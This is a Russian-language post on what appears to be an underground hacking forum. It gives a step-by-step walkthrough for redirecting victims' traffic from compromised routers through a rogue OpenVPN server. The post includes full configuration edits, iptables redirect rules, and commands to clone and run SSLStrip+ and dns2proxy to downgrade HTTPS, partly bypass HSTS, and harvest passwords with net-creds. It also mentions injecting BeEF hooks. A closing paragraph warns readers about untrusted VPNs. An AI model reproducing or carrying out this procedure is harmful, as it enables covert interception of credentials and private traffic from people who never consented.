Инструкция по использованию Router Scan. Применение фальшивого VPN (атака человек-посередине+обход HSTS)

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,025
1540010208437.png
Скачать Router Scan можно тут:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Если удалось получить доступ к сетевому оборудованию из Интернета (например, с помощью Router Scan), а доступа к локальной сети нет, то невозможно провести атаку человек-посередине. Или всё-таки возможно?

На самом деле возможно. Образец, как это сделать будет показан ниже. Более того, мы задействуем SSLStrip+ и dns2proxy для обхода HTTP Strict Transport Security (HSTS), а ещё будем использовать Net-Creds для лёгкого сбора паролей и другой чувствительной информации.

Если посмотреть порядок «обычной» атаки человек-посередине, то он заключается в следующем:
  • сканирование локальной сети в поисках рабочих устройств
  • ARP спуфинг, смысл которого заключается в том, что цели начинают думать, что трафик теперь нужно отправлять не через роутер, а через компьютер атакующего
  • чтобы у целей работал Интернет, атакующий перенаправляет запрос с целей в глобальную сеть, а полученные ответы передаёт целям
По сути, атакующий начинает выполнять роль прокси. При этом с передаваемым трафиком атакующий может делать следующие вещи:
  • анализировать его любым образом, например, для поиска паролей и любых других данных, передаваемых в незашифрованном виде
  • блокировать доступ к определённым сайтам или перенаправлять на мошеннические сайты
  • пытаться понизить протокол с HTTPS до HTTP, чтобы уменьшить количество данных, передаваемых в зашифрованном виде и увеличить количество передаваемых в виде простого текста
  • вставлять разное содержимое в веб-страницы, в том числе способное ввести в заблуждение или привести к заражению компьютера вредоносным кодом.
Если сказать коротко – с передаваемым трафиком прокси может делать всё или почти всё. Но, напомню, это при атаке человек-посередине, которая делается в локальной сети, и которая начинается с ARP спуфинга, который в глобальной сети невозможен.

Т.е. получив доступ к роутеру, нам нужно придумать, как заставить его передавать трафик нам, т.е. взаимодействовать с глобальной сетью через нас. Функция прокси, вроде бы, в роутерах не встречается или встречается редко. Но зато VPN…

Суть VPN в том, что клиент устанавливает зашифрованный канал с сервером и уже через этот сервер выходит в глобальную сеть. Т.е. клиент сам, без разных ARP спуфингов передаёт свой трафик удалённому компьютеру! А уже на этом удалённом компьютере можно выполнять атаку человек-посередине со всеми возможностями, которые описаны чуть выше!

Если этот VPN ваш, то тот факт, что при VPN трафик передаётся по зашифрованному каналу не имеет никакого значения, поскольку на сервере трафик в любом случае расшифровывается и внутри «ящика» «гуляет» в открытом виде.

Т.е. концепция понятна:
  • нужно настроить свой мошеннический VPN
  • сетевое оборудование жертвы настроить так, чтобы оно работало через наш VPN
  • на сервере проводить любые виды атак на перехват/модификацию/блокировку передаваемого трафика
Если уж совсем лезть в за корень, то благодаря VPN мы создаём новую локальную сеть поверх Интернет-соединения. В этой локальной сети сервер VPN является ничем иным как шлюзом и именно по этой причине получает весь трафик без ARP спуфинга.

В теории всё довольно гладко и просто. Но разные модели роутеров поддерживают разные реализации VPN. Это разнообразие не даст вместить все варианты установки и настройки VPN. Я выберу один из них – OpenVPN. Существуют роутеры, которые поддерживают OpenVPN. Но цель данной заметки показать рабочий концепт, а не сделать универсальную инструкцию. В любом случае под конкретное оборудование нужно будет делать особые настройки сервера VPN.

Кстати, OpenVPN работает на разных популярных ОС, т.е. если вы имеете доступ к сетевому оборудованию, то вы вполне можете подключить интересующие вас машины к «безопасному OpenVPN для шифрования данных, чтобы хакеры их не могли перехватить»…

Особенности настройки OpenVPN для шпионажа за трафиком
Как уже было сказано, я покажу пример тюнинга (подстройки) сервера OpenVPN для облегчения сниффинга трафика.

Открываем файл с настройками сервера:
vim /etc/openvpn/server.conf

Если там есть строка вроде такой:
push "dhcp-option DNS 8.8.8.8"

то меняете её на строку:
push "dhcp-option DNS IP_сервера_с_dns2proxy"

Этим мы заставляем цель использовать наш DNS прокси в качестве DNS сервера. Например, мой мошеннический OpenVPN поднят на IP 185.117.153.79, там же будет запущен dns2proxy, поэтому в моём случае строка имеет вид:
push "dhcp-option DNS 185.117.153.79"

По умолчанию OpenVPN использует протокол UDP. SSLStrip+ не видит этот трафик, поэтому меняем протокол с UDP на TCP. Т.е. строку:
proto udp

на строку:
proto tcp

Тестируем OpenVPN сервер:
openvpn /etc/openvpn/server.conf

И перезапускаем его:
Bash:
systemctl restart [email protected]
systemctl status openvpn@server
На клиенте также выберите TCP протокол, например, на настольных ОС в конфигурационном файле vim /etc/openvpn/client.conf строку proto udp нужно поменять proto tcp и перезапустите sudo systemctl restart openvpn@client.

На сервере для «переброса» трафика используют разные правила для iptables. Вот пример такого файла на рабочем сервере:

Bash:
#!/bin/sh
echo 1 > /proc/sys/net/ipv4/ip_forward
# Пример настройки файервола для OpenVPN.
# Если нужно, сделайте соответствующие
# изменения, сети вашего OpenVPN
PRIVATE=10.8.0.0/24
# Петлевой адрес
LOOP=127.0.0.1
# Удалить старые правила iptables
# и временно заблокировать весь трафик.
iptables -P OUTPUT DROP
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -F
# Установление политик по умолчанию
iptables -P OUTPUT ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
# Предотвращаем использование локальных адресов внешними пакетами
iptables -A INPUT -i ens3 -s $LOOP -j DROP
iptables -A FORWARD -i ens3 -s $LOOP -j DROP
iptables -A INPUT -i ens3 -d $LOOP -j DROP
iptables -A FORWARD -i ens3 -d $LOOP -j DROP
# Всё, что приходит из Интернета, должно иметь реальный адрес
iptables -A FORWARD -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A FORWARD -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A FORWARD -i ens3 -s 10.8.0.0/8 -j DROP
iptables -A INPUT -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A INPUT -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A INPUT -i ens3 -s 10.8.0.0/8 -j DROP
# Блокируем исходящий NetBios (если в вашей подсети
# есть машины с Windows).  Это не окажет влияния на какой-либо
# трафик NetBios, который идёт по VPN туннелю, но остановит
# локальные машины Windows от самостоятельного
# широковещания в Интернет.
iptables -A FORWARD -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A FORWARD -p udp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p udp --sport 137:139 -o ens3 -j DROP
# Разрешаем локальные петли
iptables -A INPUT -s $LOOP -j ACCEPT
iptables -A INPUT -d $LOOP -j ACCEPT
# Позволяем входящий пинг (можно отключить)
# iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
# Разрешаем такие службы как www и ssh (можно отключить)
iptables -A INPUT -p tcp --dport http -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Разрешаем входящие пакеты OpenVPN
# Дуплицируйте строку ниже для каждого
# туннеля OpenVPN, меняя --dport n
# для соответствия порту OpenVPN UDP.
#
# В OpenVPN номер порта
# контролируется опцией --port n.
# Если вы разместили эту опцию в конфигурационном
# файле, вы можете удалить предшествующие '--'
#
# If you taking the stateful firewall
# approach (see the OpenVPN HOWTO),
# then comment out the line below.
iptables -A INPUT -p udp --dport 1194 -j ACCEPT
# Разрешить пакеты от устройств TUN/TAP.
# Когда OpenVPN запущен в безопасном режиме,
# он будет проверять подлинность пакетов до
# их прибытия на интерфейс
# tun или tap.  Следовательно нет
# необходимости добавлять сюда какие-либо фильтры,
# если вы не хотите ограничить
# тип пакетов, которые могут проходить
# через туннель.
iptables -A INPUT -i tun+ -j ACCEPT
iptables -A FORWARD -i tun+ -j ACCEPT
iptables -A INPUT -i tap+ -j ACCEPT
iptables -A FORWARD -i tap+ -j ACCEPT
# Сохранить состояние подключений от локальной машины и частных сетей
iptables -A OUTPUT -m state --state NEW -o ens3 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o ens3 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
# Маскировка локальной сети
iptables -t nat -A POSTROUTING -s $PRIVATE -o ens3 -j MASQUERADE
В нём можно всё оставить без изменений, кроме этой строки: iptables -A INPUT -p upd --dport 1194 -j ACCEPT которую нужно поменять на такую (опять же из-за смены протокола): iptables -A INPUT -p tcp --dport 1194 -j ACCEPT

Перехват логинов и паролей в VPN
Теперь можно воспользоваться любым вам привычным ПО для перехвата и модификации данных. Например, для просмотра паролей я буду использовать Net-Creds: net-creds -i tun0
Обратите внимание на выбранный сетевой интерфейс — tun0. Это не имя реального физического интерфейса, это интерфейс, которым VPN на сервере подключён к клиентам.

Также уже сейчас можно вставлять хуки BeEF или любой HTML и JavaScript код.

Частичный обход HSTS
Зашифрованный трафик, доля которого постоянно возрастает, не даёт нам заглянуть во внутрь передаваемой информации. Связка из SSLStrip+ и dns2proxy поможет нам решить эту проблему и даже частично обойти HSTS.

Ставим необходимые зависимости (показано на примере BlackArch, залогинен под рутом):
pacman -S python2-service-identity python2-pcapy

Начнём с добавления новых правил роутинга на сервере VPN :
Bash:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p tcp --destination-port 1194 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Скачиваем и запускаем SSLStrip+:
Bash:
git clone https://github.com/singe/sslstrip2.git
cd sslstrip2/
nohup python2 ./sslstrip.py -l 2000 &
Скачиваем и запускаем dns2proxy:
Bash:
cd ..
git clone https://github.com/singe/dns2proxy.git
cd dns2proxy/
nohup python2 dns2proxy.py &
Теперь опять можно запустить Net-Creds, в этот раз пойманных паролей будет значительно больше: net-creds -i tun0

Как видно по следующим скриншотам, yandex.ru, vk.com, google.com и другие очень хорошо поддаются данной атаке:
01-1.jpg
02-1.jpg

Заключение
Итак, думаю, главная цель заметки – показать, что VPN может использоваться в злых намерениях, достигнута.

В процессе тестирования мне пришла мысль, что использовать разнообразные прокси серверы и VPN, принадлежащие неизвестным лицам, – это, по крайней мере, рискованно. Я не говорю, что все те, кто предоставляет услуги прокси и VPN, мошенники. Но абсолютно ничего не им не мешает анализировать и записывать трафик, перехватывать в нём данные, отправленные в открытом виде. Даже если данные передаются по зашифрованным каналам, владельцы VPN или прокси внутри своих машин имеют дело с незашифрованными данными (если они не зашифрованы на ещё каком-нибудь этапе).

Многим кажется, что иметь «свой» собственный VDS сервер со своим персональным VPN – это и есть выход. Но ведь физически к вашему серверу имеют доступ третьи лица! При таком доступе, например, если файловая система не зашифрована, то не нужен никакой пароль рута для доступа к любому файлу в системе. А получив копии сертификатов вашего VPN сервера, лица без труда смогут расшифровать весь трафик VPN. Даже «задним числом», т.е. если они «снимали» (записывали) зашифрованный трафик на протяжении последнего месяца, но у них не было данных для расшифровки, то, получив сертификаты, они смогут расшифровать трафик за предыдущий месяц.

В общем «если у вас нет паранойи, то это ещё не означает, что за вами не следят».
 
Последнее редактирование:
  • Лайк
Reactions: BadZ

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя